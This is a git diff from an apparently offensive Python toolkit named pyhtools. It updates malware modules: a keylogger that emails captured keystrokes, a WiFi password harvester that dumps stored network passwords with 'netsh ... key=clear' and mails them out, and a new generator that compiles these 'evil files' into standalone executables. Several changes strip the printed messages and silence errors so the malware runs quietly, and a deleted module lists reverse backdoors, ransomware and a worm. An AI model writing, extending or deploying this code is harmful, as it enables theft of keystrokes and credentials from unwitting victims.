diff --git a/.gitignore b/.gitignore index 4906f4c..b56642a 100644 --- a/.gitignore +++ b/.gitignore @@ -143,3 +143,9 @@ dmypy.json cython_debug/ # End of https://www.toptal.com/developers/gitignore/api/python + +# exectuables +*.bin +*.exe +*.build +*.dist \ No newline at end of file diff --git a/examples/EvilFiles/Malwares/key_logger.py b/examples/EvilFiles/Malwares/key_logger.py index 35b7f54..5dc61fa 100644 --- a/examples/EvilFiles/Malwares/key_logger.py +++ b/examples/EvilFiles/Malwares/key_logger.py @@ -1,4 +1,4 @@ -from pyhtools.evil_files.malwares.keylogger import KeyLogger +from pyhtools.evil_files.malwares.keylogger.keylogger import KeyLogger key_logger = KeyLogger(email='yourgmailaccount', password='yourpassword', interval_in_secs=60) key_logger.run() diff --git a/examples/EvilFiles/Malwares/wifi-password-harvester.py b/examples/EvilFiles/Malwares/wifi-password-harvester.py index b9b7fbd..33e56e9 100644 --- a/examples/EvilFiles/Malwares/wifi-password-harvester.py +++ b/examples/EvilFiles/Malwares/wifi-password-harvester.py @@ -1,4 +1,3 @@ -import imp from pyhtools.evil_files.malwares.wireless_password_harvester.harvester import WiFiPasswordHarvester # create obj @@ -9,5 +8,11 @@ smtp_port=587, ) -# start harvester -harvester.start() +# retreives only credentials +credentials = harvester.get_credentials() + +# retreives creds and sends mail +if harvester.start(): + print("[*] Process Completed.") +else: + print("[!] Process Incomplete, start again!") \ No newline at end of file diff --git a/examples/EvilFiles/generatorScript.py b/examples/EvilFiles/generatorScript.py new file mode 100644 index 0000000..7435e49 --- /dev/null +++ b/examples/EvilFiles/generatorScript.py @@ -0,0 +1,15 @@ +from pyhtools.evil_files.exec_generator import (Compilers ,ExecutableGenerator) + +exe = ExecutableGenerator( + file_path=r'D:\GithubRepos\pyhtools\examples\EvilFiles\Malwares\key_logger.py', # evil program file path + output_filename='evil_file', # output filename without extension, adding extension might raise error + output_dir='.', # output directory + compiler=Compilers.DEFAULT, # compile using DEFAULT, CLANG, MINGW + onefile=True, # creates single exe file + remove_output=True, # deletes all compiled files and retains only exe +) + +if exe.generate_executable() == 0: + print("[*] Process Completed.") +else: + print("[!] Error Occurred") \ No newline at end of file diff --git a/pyhtools/evil_files/exec_generator.py b/pyhtools/evil_files/exec_generator.py new file mode 100644 index 0000000..25b4236 --- /dev/null +++ b/pyhtools/evil_files/exec_generator.py @@ -0,0 +1,72 @@ +''' +module: generator.py +description: generates evil file executable +''' +from subprocess import call +from os import name as os_name +from enum import Enum + + +class Compilers(Enum): + DEFAULT = 0 + MINGW = 1 + CLANG = 2 + + +class ExecutableGenerator: + ''' + creates executable + ''' + + def __init__(self, file_path: str, output_filename: str = None, output_dir: str = None, icon: str = None, compiler: Compilers = Compilers.DEFAULT, onefile: bool = True, remove_output: bool = True,) -> None: + # file options + self.__file = file_path + self.__output_filename = output_filename + + # set options + self.__options = { + 'onefile': onefile, + 'standalone': True, + 'onefile': True, + 'remove-output': remove_output, + 'output-dir': output_dir, + } + + # os based options + if os_name == 'nt': + self.__options['icon'] = icon + else: + icon = None + + # compiler based options + if compiler == Compilers.CLANG: + self.__options['clang'] = True + elif compiler == Compilers.MINGW: + self.__options['mingw'] = True + + def __generate_command(self): + command = 'nuitka ' + for key in self.__options: + cmd = '' + value = self.__options[key] + value_type = type(self.__options[key]) + + # generate option + if value_type is bool and value: + cmd = f'--{key} ' + elif value_type is str: + cmd = f'--{key}="{value}" ' + + # add option to command + command += cmd + + if self.__output_filename: + pass + + # add file name and return + command += f'{self.__file}' + return command + + def generate_executable(self): + command = self.__generate_command() + return call(command.split(), shell=True) diff --git a/pyhtools/evil_files/malwares/keylogger/keylogger.py b/pyhtools/evil_files/malwares/keylogger/keylogger.py index b9cb6df..a80fe54 100644 --- a/pyhtools/evil_files/malwares/keylogger/keylogger.py +++ b/pyhtools/evil_files/malwares/keylogger/keylogger.py @@ -84,7 +84,6 @@ def mail_report(self): ''' self.log_no += 1 - # print(self.logs) self.send_mail() self.set_subject() timer = threading.Timer(self.interval, self.mail_report) @@ -95,7 +94,6 @@ def run(self): ''' run/start the keylogger. ''' - print('[*] Starting logger.') key_listener = pynput.keyboard.Listener(on_press=self.log_key) with key_listener: diff --git a/pyhtools/evil_files/malwares/utils.py b/pyhtools/evil_files/malwares/utils.py index f8056c6..d00e944 100644 --- a/pyhtools/evil_files/malwares/utils.py +++ b/pyhtools/evil_files/malwares/utils.py @@ -2,7 +2,7 @@ import requests -def send_mail(email: str, receiver_mail: list[str], password: str, message: str, smtp_server: str = 'smtp.gmail.com', smtp_port: int = 587) -> bool: +def send_mail(email: str, receiver_mail: list[str], password: str, message: str, smtp_server: str = 'smtp.gmail.com', smtp_port: int = 587, supress_exceptions:bool=True) -> bool: ''' sends mail to specific address/addresses. ''' @@ -14,7 +14,8 @@ def send_mail(email: str, receiver_mail: list[str], password: str, message: str, server.quit() return True except smtplib.SMTPException as e: - print('[-] Exception : ', e) + if not supress_exceptions: + print('[-] Exception : ', e) return False diff --git a/pyhtools/evil_files/malwares/wireless_password_harvester/harvester.py b/pyhtools/evil_files/malwares/wireless_password_harvester/harvester.py index 456bcc9..658ec44 100644 --- a/pyhtools/evil_files/malwares/wireless_password_harvester/harvester.py +++ b/pyhtools/evil_files/malwares/wireless_password_harvester/harvester.py @@ -1,4 +1,5 @@ from pyhtools.evil_files.malwares.utils import send_mail +from os import name as os_name import subprocess import re @@ -34,30 +35,31 @@ def get_username(): overall_nw_data = f'Subject: Received Credentials from {get_username()} \n' ssid_passwds = 'SSID : Password\n' for network_name in network_names: - if 'QuantumRegion' in network_name: - continue - + # sanitize network name network_name = network_name.replace('\r', '') - command = 'netsh wlan show profile "' + \ - (network_name) + '" key=clear' - nw_info = subprocess.check_output(command, shell=True).decode() + # get password using netsh + nw_info = subprocess.check_output( + f'netsh wlan show profile "{network_name}" key=clear', shell=True).decode() overall_nw_data += nw_info passwd_res = re.search(r'(?:Key\sContent\s*:\s)(.*)', nw_info) - passwd = passwd_res.group(1) - + passwd = None # AP without password security + try: + passwd = passwd_res.group(1) + except AttributeError: + pass ssid_passwds += f'{network_name} : {passwd}\n' overall_nw_data += ssid_passwds return overall_nw_data def start(self): + if os_name != 'nt': + raise credentials = self.get_credentials() if credentials: if send_mail(self.email, self.email, self.passwd, credentials, self.smtp_server, self.smtp_port): - print('[*] Process Completed Successfully') return True else: - print('[-] Process Failed.') return False diff --git a/pyhtools/executable_generator/__init__.py b/pyhtools/executable_generator/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/pyhtools/executable_generator/generator.py b/pyhtools/executable_generator/generator.py deleted file mode 100644 index b2a31c2..0000000 --- a/pyhtools/executable_generator/generator.py +++ /dev/null @@ -1,50 +0,0 @@ -''' -module: generator.py -description: generates evil files using specified payload and type -''' -from enum import Enum -# from subprocess import check_call, check_output - - -# TODO: convert all evil files modules into classes -# create new class object with parameters and generate -# evil file using specified compiler using subprocess - - -class CompileOptions(Enum): - PYINTALLER = 0 - NUITKA = 1 - - -class Generator: - def __init__(self, _type: str, payload: str, compiler: CompileOptions = CompileOptions.PYINTALLER, *args, **kwargs) -> None: - self.__type = _type - self.__payload = payload - self.__compiler = compiler - - self.__options = { - 'malwares': [ - 'credential_harvester', - 'keylogger', - 'http_reverse_backdoor', - 'tcp_reverse_backdoor', - 'telegram_data_harvester', - 'telegram_remote_code_executor', - 'wireless_password_harvester' - ], - 'ransomwares': [ - 'dmsec', - ], - 'worms': [ - 'dir_cloner' - ], - } - - def verify(): - pass - - def show_options(): - pass - - def generate_file(): - pass diff --git a/requirements.txt b/requirements.txt index b9494c4..121ec2c 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,14 +1,15 @@ beautifulsoup4>=4.9.3 colorama>=0.4.4 #netfilterqueue (for linux devices only): sudo pip3 install --upgrade -U git+https://github.com/kti/python-netfilterqueue -nuitka kamene>=0.32 -scapy>=2.4.5 -psutil>=5.8.0 -prettytable>=2.1.0 -pynput>=1.7.3 +nuitka pyfiglet>=0.8.post1 +pynput>=1.7.3 pytelegrambotapi>=4.0.1 +prettytable>=2.1.0 +psutil>=5.8.0 pyinstaller requests>=2.25.1 -# wmi # for windows process management \ No newline at end of file +scapy>=2.4.5 +# wmi # for windows process management +zstandard \ No newline at end of file diff --git a/setup.py b/setup.py index a727922..88be931 100644 --- a/setup.py +++ b/setup.py @@ -32,6 +32,7 @@ 'pytelegrambotapi', 'pyinstaller', 'requests', + 'zstandard', ], classifiers=[ 'Development Status :: 4 - Beta',